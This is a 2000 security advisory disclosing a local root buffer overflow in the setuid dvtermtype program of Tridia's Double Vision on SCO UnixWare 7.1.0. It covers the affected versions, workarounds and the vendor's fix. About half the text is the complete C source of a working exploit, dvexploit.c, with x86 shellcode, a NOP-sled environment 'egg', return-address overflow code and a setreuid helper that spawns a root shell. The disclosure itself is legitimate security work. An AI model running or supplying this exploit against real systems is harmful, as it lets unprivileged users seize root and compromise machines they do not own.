|
Home : Advisories : Security Advisory: SCO UnixWare 7 / Double Vision local root exploit
Title: |
Security Advisory: SCO UnixWare 7 / Double Vision local root exploit |
Released by: |
Stephen J. Friedl |
Date: |
16th September 2000 |
Printable version: |
Click here |
Security Advisory: SCO UnixWare 7 / Double Vision local root exploit
By: Stephen J. Friedl, Software Consultant (steve@unixwiz.net)
Date: 2000-09-16 (discovered late June 2000)
Short Summary:
The "Double Vision" product for SCO UnixWare has a buffer overflow
vulnerabilty that allows any local user to gain full root privileges.
The nature of the bug is such that it is likely open to all the
supported Double Vision platforms, not just SCO UnixWare, though
the exploit code provided won't exercise it anywhere else.
Systems/Versions affected:
- SCO UnixWare 7.1.0 (Intel)
- Double Vision (from Tridia Corp) version 3.07.00
Product Summary:
Double Vision for Character Terminals is from Tridia Corp. (formerly
"Maximum Computer Technology"), and it taps into the data stream of
a character terminal session. It's been likened to "pcAnywhere for
UNIX", and it allows for an admin to watch or take over the session
of a user. UNIX admins who use this positively swear by it. The
product is quite mature -- shipping since 1991 -- and is available
for most of the popular UNIX / Linux systems.
The product as tested delivers several binaries into /usr/lib/dv/*,
and nine of them are setuid root. There are also several small
scripts in /bin that front-end for the "real" programs in /usr/lib/dv,
and for our exploit we focus on the "dvtermtype" program.
This program is essentially run at login time to tell the Double Vision
system what kind of terminal the user is on, so when run elsewhere by
an admin, the program can do proper escape-code translations on the
fly. dvtermtype modifies /usr/lib/dv/ttytype, an ASCII file with
termtype/devicename pairs, one per line.
Vulnerability:
The dvtermtype program takes two parameters: the terminal name and
the terminal type, and we've found that providing a very long string
for the term type can overflow an internal buffer and overwrite the
return address on the stack. We take advantage of this by providing
the exploit code in an environment variable (which can be at a
predictable address) and overflow the buffer with the address of that
exploit code.
The rootshell code runs /tmp/ui, which is a little helper program
that simply does a setreuid(0,0) to fully become root, then execs
the standard Bourne shell. This is a root shell. It would be possible
to build this setreuid() business into the shellcode, but this was
easier in the limited time available to develop the exploit.
With the versions mentioned earlier in this Advisory, the exploit
is very simple:
$ cd /tmp
$ cat > ui.c
int main() { setreuid(0,0); system("/bin/sh"); return 0; }
^D
$ cc ui.c -o ui
$ cc dvexploit.c -o dvexploit
$ ./dvexploit
# <-- root shell here
For the specific versions mentioned above, the exploit program cracks
root instantly, but other variants might require some tuning that is
described in the exploit source code. We do not have access to Double
Vision on other platforms so have not even attempted "porting" this
exploit.
Special thanks go to Brock Tellier (btellier@usa.net) who wrote
the original SCO UnixWare shellcode, and it was a very helpful
starting point for this research.
Workaround:
One approach is to remove the setuid bit from the executable, and
this may or may not be workable in real environments. For systems
using character terminals with fixed device names (ttyA04), the
admin can set these term types in advance knowing that the terminal
type won't change over time. So when he goes to remotely control
a user's session, the ttytype database will be correct.
This can be more difficult in a network environment where users
come in via telnet. In this circumstance, any given user can
enter the system at a varying device name (a pseudo-tty), but
if the admin knows the user's actual term type, he can set it
manually:
# /usr/lib/dv/dvtermtype termtype devicename
For homogeneous environments where all users use the same software,
this might not be such an inconvenience.
Vendor Response:
Tridia Corp. has released an update (3.07.01 Build#1) that fixes
this problem for Unixware, but it's not been clear that they have
given this any thought on other platforms. It's available on their
web site (http://www.tridia.com), though I'm not sure just who
qualifies to obtain it.
I must say that Tridia have fallen all over themselves to address
this properly and get a fix released in short order: they've been
quite a pleasure to work with (they even sent me a thank-you
tee shirt!)
/*
* dvexploit.c
*
* written by : Stephen J. Friedl
* Software Consultant
* 2000-06-24
* steve@unixwiz.net
*
* This program exploits the "Double Vision" system on SCO
* Unixware 7.1.0 via a buffer overflow on the "dvtermtype"
* program. Double Vision is like a "pcAnywhere for UNIX",
* but quite a few programs in this distribution are setuid
* root. The problem is that these programs were not written
* with security in mind, and it's not clear that they even
* need to be setuid root.
*
* This particular program exploits "dvtermtype" by passing a
* very long second parameter that overflows some internal
* buffer. This buffer is filled with a predicted address
* of the shellcode, and the shellcode itself is stored in
* a very long environment variable. This approach makes
* the shellcode much easier to find.
*
* This shellcode was based directly on the great work of
* Brock Tellier (btellier@usa.net), who seems to spend a lot
* of time within with various SCO UNIX release. Thanks!
*
* This shellcode runs /tmp/ui, which should be this simple
* program:
*
* $ cd /tmp
* $ cat ui.c
* int main() { setreuid(0,0); system("/bin/sh"); return 0; }
* $ cc ui.c -o ui
*
* Brock's original work compiled this automatically, but I
* prefer to do it by hand. A better approach is to do the
* setreuid() in the shellcode and call /bin/sh directly.
* Maybe another day.
*
* BUILD/TEST ENVIRONMENT
* ----------------------
*
* $ cc -v
* UX:cc: INFO: Optimizing C Compilation System (CCS) 3.2 03/03/99 (CA-unk_voyager5)
*
* $ uname -a
* UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
*
* from /usr/lib/dv/README
*
* DoubleVision for Character Terminals Release 3.0
* Last Update: December 7, 1999
*
* TUNING
* ------
*
* The default parameters to this program work on the versions mentioned
* above, but for variants some tuning might be required. There are three
* parameters that guide this program's operation:
*
* -a retaddr set the "return" address to the given hex value,
* which is the address where we expect to find the
* exploit code in the environment. The environment
* is at a relatively fixed location just below
* 0x80000000, so getting "close" is usually sufficient.
* Note that this address cannot have any zero bytes
* in it! We believe that the target code has enough
* padding NOP values to make it an easy target.
*
* -r retlen length of the overflowed "return address" buffer,
* which is filled in with the address provided above.
* Default = 2k, max = 5k.
*
* -l n slightly shift the alignment of the return address
* buffer by 1, 2 or 3 in case the buffer that's being
* overflowed.
*/
#include
#include
/*-----------------------------------------------------------------------
* shellcode for SCO UnixWare
*
* The shellcode in the binary was derived from assembler code
* below, and we put the asm() code inside the function so we
* can disassemble it and get the binary bytes easier. The code
* all should match, but the real original data is the full
* asm() code.
*/
#if 1
static const char scoshell[] =
"\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
"\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
"\xe2\xff\xff\xff"
"/tmp/ui"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#else
extern char scoshell[];
static void foo()
{
asm("#-------------------------------------------");
asm("scoshell:");
asm(" jmp L1b"); /* go to springboard */
asm(" L2b: popl %esi"); /* addr of /tmp/ui */
asm(" xorl %ebx,%ebx"); /* %ebx <-- 0 */
asm(" movl %ebx, 7(%esi)"); /* mark end of string */
asm(" movl %ebx, 12(%esi)"); /* 0 to lcall addr */
asm(" movb %bl, 17(%esi)"); /* 0 to lcall sub addr */
asm(" xorl %eax,%eax"); /* %eax <-- 0 */
asm(" movb $0x3b, %al"); /* 0x3b = "execve" */
asm(" leal 7(%esi), %edi"); /* addr of NULL word */
asm(" pushl %ebx"); /* zero */
asm(" pushl %edi"); /* addr of NULL word */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" jmp L3b"); /* do OS call */
asm(" L1b: call L2b");
asm(" .ascii \"/tmp/ui\""); /* %esi */
asm(" .4byte 0xaaaaaaaa"); /* %esi[ 7] */
asm(" L3b: lcall $0xaa07,$0xaaaaaaaa"); /* OS call */
asm(" .byte 0x00"); /* endmarker */
asm("#-------------------------------------------");
}
#endif
#define NOP 0x90
static char *env[10], // environment strings
*arg[10]; // argument vector
/*------------------------------------------------------------------------
* "Addr" is the predicted address where the shellcode starts in the
* environment buffer. This was determined empirically based on a test
* program that ran similarly, and it ought to be fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long addr = 0x7ffffc04;
static char *exefile = "/usr/lib/dv/dvtermtype";
int main(int argc, char *argv[])
{
int c;
int i;
char egg[1024];
int egglen = sizeof egg - 1;
int retlen = 2048;
char retbuf[5000];
int align = 0;
char *p;
setbuf(stdout, (char *)0 );
while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
{
switch (c)
{
case 'a': addr = strtol(optarg, 0, 16); break;
case 'l': align = atoi(optarg); break;
case 'r': retlen = atoi(optarg); break;
}
}
if ( optind < argc )
exefile = argv[optind++];
printf("UnixWare 7.x exploit for suid root Double Vision\n");
printf("Stephen Friedl \n");
printf("Using addr=0x%x retlen=%d\n", addr, retlen);
/*---------------------------------------------------------------
* sanity check: the return buffer requested can't be too big,
* and the address can't have any zero bytes in it.
*/
if ( retlen > sizeof(retbuf) )
{
printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
exit(1);
}
p = (char *)&addr;
if ( !p[0] || !p[1] || !p[2] || !p[3] )
{
printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
exit(1);
}
/*---------------------------------------------------------------
* Now create the "return" buffer that is used to overflow the
* return address. This buffer really has nothing in it other than
* repeated copies of the phony return address, and one of them
* will overwrite the real %EIP on the stack. Then when the called
* function returns, it jumps to our code.
*
* It's possible that this requires alignment to get right, so
* the "-l" param above can be used to adjust this from 0..3.
* If we're aligning, be sure to fill in the early part of the
* buffer with non-zero bytes ("XXXX");
*/
strcpy(&retbuf, "XXXX");
for (i = align; i < retlen - 4; i += 4)
{
memcpy(retbuf+i, &addr, 4);
}
retbuf[i] = 0;
printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );
/*---------------------------------------------------------------
* The "egg" is our little program that is stored in the environment
* vector, and it's mostly filled with NOP values but with our little
* root code at the end. Gives a wide "target" to hit: any of the
* leading bytes hits a NOP and flows down to the real code.
*
* The overall buffer is
*
* X=################xxxxxxxxxxxxxxxxxxxxx\0
*
* where # is a NOP instruction, and "X" is the exploit code. There
* must be a terminating NUL byte so the environment processor does
* the right thing also.
*/
memset(egg, NOP, egglen);
memcpy(egg, "EGG=", 4);
// put our egg in the tail end of this buffer
memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));
egg[egglen] = '\0';
/* build up regular command line */
arg[0] = exefile;
arg[1] = "dvexploit"; /* easy to find this later */
arg[2] = (char *)retbuf;
arg[3] = 0;
/*---------------------------------------------------------------
* build up the environment that contains our shellcode. This
* keeps it off the stack.
*/
env[0] = egg;
env[1] = 0;
execve(arg[0], arg, env);
}
|